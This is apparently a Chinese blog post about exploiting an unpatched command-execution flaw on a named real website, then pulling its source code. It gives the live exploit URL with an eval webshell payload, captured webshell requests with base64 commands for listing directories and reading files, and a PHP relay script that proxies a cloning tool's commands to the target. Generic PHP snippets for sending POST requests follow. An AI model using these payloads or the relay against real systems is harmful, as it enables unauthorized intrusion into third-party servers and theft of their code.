一、起因
脚本之家某分站命令执行漏洞(http://wooyun.org/bugs/wooyun-2010-050747)公布了,但是网站漏洞没有补,命令执行仍存在:http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}。查找了一圈没有找到有用的数据信息,就想把网站源码给下下来分析一下。
二、漏洞成因
菜刀连上后找到存在漏洞的页面:f:\webroot\toolsjb51\web\mingfang\index.php,最终定位到:@eval(“eregi(\”$keyword[0]\”,\”$detail\”);”);,即上述代码导致网站存在命令执行漏洞(ps:$keyword[0]的内容就是q参数的内容)。从漏洞exp:q={${eval($_POST[a])}}可以看出导致漏洞的原因是双引号中的字符串可以被解释,即存在变量时会被实际内容替换。
如
$h="$_GET[q]";
则$h的内容就不会是不同字符串’$_GET[q]’,而是输入的q参数的实际内容。通常情况下,即使是将双引号中的内容可以被解释执行,也不会造成命令执行漏洞。@eval(“eregi(\”$keyword[0]\”,\”$detail\”);”);此处造成命令执行漏洞是因为使用eval执行了函数eregi,导致两次对双引号字符串的解释执行。
(1)首先执行eval函数,因为参数是双引号字符串,所以解释替换其中的变量,参数变为:
eregi("{${eval($_POST[a])}}","123");
(2)执行eregi函数,该函数发现参数是双引号字符串,继续解释字符串,即解释${eval($_POST[a])},而这个字符串是一个标准的webshell代码,就会造成网站存在命令执行漏洞,通过此漏洞获取到webshell。
三、工具介绍
ps:知道漏洞成因后,发现网站功能挺多的,想下载其网站的源码学习一下,但是发现网站没有写权限,不能上传大马来进行文件压缩,也不能执行命令。权限限制的很严,如果用菜刀一个一个文件下载我可没这耐心。只能在网上找一下有没有现成的工具。
最后找到工具:Web Cloner v0.1(http://www.jinglingshu.wiki/?p=5054)。该工具就提供利用webshell批量下载网站文件的功能。但是利用时发现程序存在bug,只能识别<?php eval($_REQUEST[A]) ?>等基本的webshell,http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}会提醒密码错误,原来该webshell要执行${eval($_POST[a])}好几次,而且还要打印其他一些无用的信息,导致该工具无法识别。
看来无法直接利用该工具,看看该工具的原理。既然知道工具无法使用是因为除了webshell语句的执行结果还有其他一些原先网页存在的页面信息,我们可以在webshell语句的后面加exit;来结束掉后面的语句就可以了。
因此,我们可以写一个中转程序来实现在Web Cloner v0.1发送的webshell代码后面加上exit;,这样就可以直接利用Web Cloner v0.1了。
四、中转程序
首先分析一下Web Cloner 的原理,这样我们才能在Web Cloner发送的内容后面加上exit;。
(1)获取目录文件列表
POST /mingfang/index.php?q={${eval($_POST[a])}} HTTP/1.1Host: tools.jb51.net User-Agent: newLISP v10408 Connection: close Content-type: application/x-www-form-urlencoded Content-length: 401 a=@eval(base64_decode($_POST[w]));&w=JGRpcj1jaHIoNDYpO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtpZihpc19kaXIoJGRpcikpe3ByaW50KGltcGxvZGUoY2hyKDEpLChzdHJfcmVwbGFjZSgkZGlyLiIvIiwiIiwoYXJyYXlfbWVyZ2UoZ2xvYigkZGlyLiIvKiIsR0xPQl9NQVJLKSxnbG9iKCRkaXIuIi8uKiIsR0xPQl9NQVJLKSkpKSkpKTt9ZWxzZXtwcmludChpbXBsb2RlKGNocigxKSwoc2NhbmRpcigkZGlyKSkpKTt9
将内容解码后内容为:
$dir=chr(46); @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); if(is_dir($dir)) { print(implode(chr(1),(str_replace($dir."/","",(array_merge(glob($dir."/*",GLOB_MARK),glob($dir."/.*",GLOB_MARK))))))); } else { print(implode(chr(1),(scandir($dir)))); }
可以看到中转程序获取文件列表时只要将w参数base64解码后,在后面加上exit;后,再进行base64编码即可。
(2)下载文件
抓包获取数据为:
a=$df=chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(109).chr(102).chr(46).chr(100).chr(97).chr(116);@readfile($df);
可以看到中转程序下载文件时只要在a参数内容后在后面直接加上exit;即可。
所以,最终中转程序如下:
<?php $url='http://tools.jb51.net/mingfang/index.php?q={${eval($_POST[a])}}'; if(isset($_POST['w'])) { $data=base64_encode(base64_decode($_POST[w]).';exit;'); $post=array('a'=>'@eval(base64_decode($_POST[w]));','w'=>$data); $context=array('http'=>array('method'=>'POST','content'=>http_build_query($post, '', '&'),)); } else { $data=$_POST['a'].'exit;'; $post=array('a'=>$data); $context=array('http'=>array('method'=>'POST','content'=>http_build_query($post, '', '&'),)); } $stream_context=stream_context_create($context); $data=file_get_contents($url,FALSE,$stream_context); print $data; ?>
——————————————————————————————
ps:上面程序中利用到了file_get_contents()来发送POST数据包。
1、file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。 |
2、php中使用Curl、socket、file_get_contents三种方法POST提交数据
<?php /** * Socket版本 * 使用方法: * $post_string = "app=socket&version=beta"; * request_by_socket('jb51.net','/restServer.php',$post_string); */ function request_by_socket($remote_server,$remote_path,$post_string,$port = 80,$timeout = 30){ $socket = fsockopen($remote_server,$port,$errno,$errstr,$timeout); if (!$socket) die("$errstr($errno)"); fwrite($socket,"POST $remote_path HTTP/1.0"); fwrite($socket,"User-Agent: Socket Example"); fwrite($socket,"HOST: $remote_server"); fwrite($socket,"Content-type: application/x-www-form-urlencoded"); fwrite($socket,"Content-length: ".strlen($post_string)+8.""); fwrite($socket,"Accept:*/*"); fwrite($socket,""); fwrite($socket,"mypost=$post_string"); fwrite($socket,""); $header = ""; while ($str = trim(fgets($socket,4096))) { $header.=$str; } $data = ""; while (!feof($socket)) { $data .= fgets($socket,4096); } return $data; } /** * Curl版本 * 使用方法: * $post_string = "app=request&version=beta"; * request_by_curl('http://jb51.net/restServer.php',$post_string); */ function request_by_curl($remote_server,$post_string){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$remote_server); curl_setopt($ch,CURLOPT_POSTFIELDS,'mypost='.$post_string); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_USERAGENT,"Jimmy's CURL Example beta"); $data = curl_exec($ch); curl_close($ch); return $data; } /** * 其它版本 * 使用方法: * $post_string = "app=request&version=beta"; * request_by_other('http://jb51.net/restServer.php',$post_string); */ function request_by_other($remote_server,$post_string){ $context = array( 'http'=>array( 'method'=>'POST', 'header'=>'Content-type: application/x-www-form-urlencoded'."". 'User-Agent : Jimmy's POST Example beta'."". 'Content-length: '.strlen($post_string)+8, 'content'=>'mypost='.$post_string) ); $stream_context = stream_context_create($context); $data = file_get_contents($remote_server,FALSE,$stream_context); return $data; } ?>
<?php function Post($url, $post = null) { $context = array(); if (is_array($post)) { ksort($post); $context['http'] = array ( 'method' => 'POST', 'content' => http_build_query($post, '', '&'), ); } return file_get_contents($url, false, stream_context_create($context)); } $data = array ( 'name' => 'test', 'email' => 'test@gmail.com', 'submit' => 'submit', ); echo Post('http://localhost/5-5/request_post_result.php', $data); ?>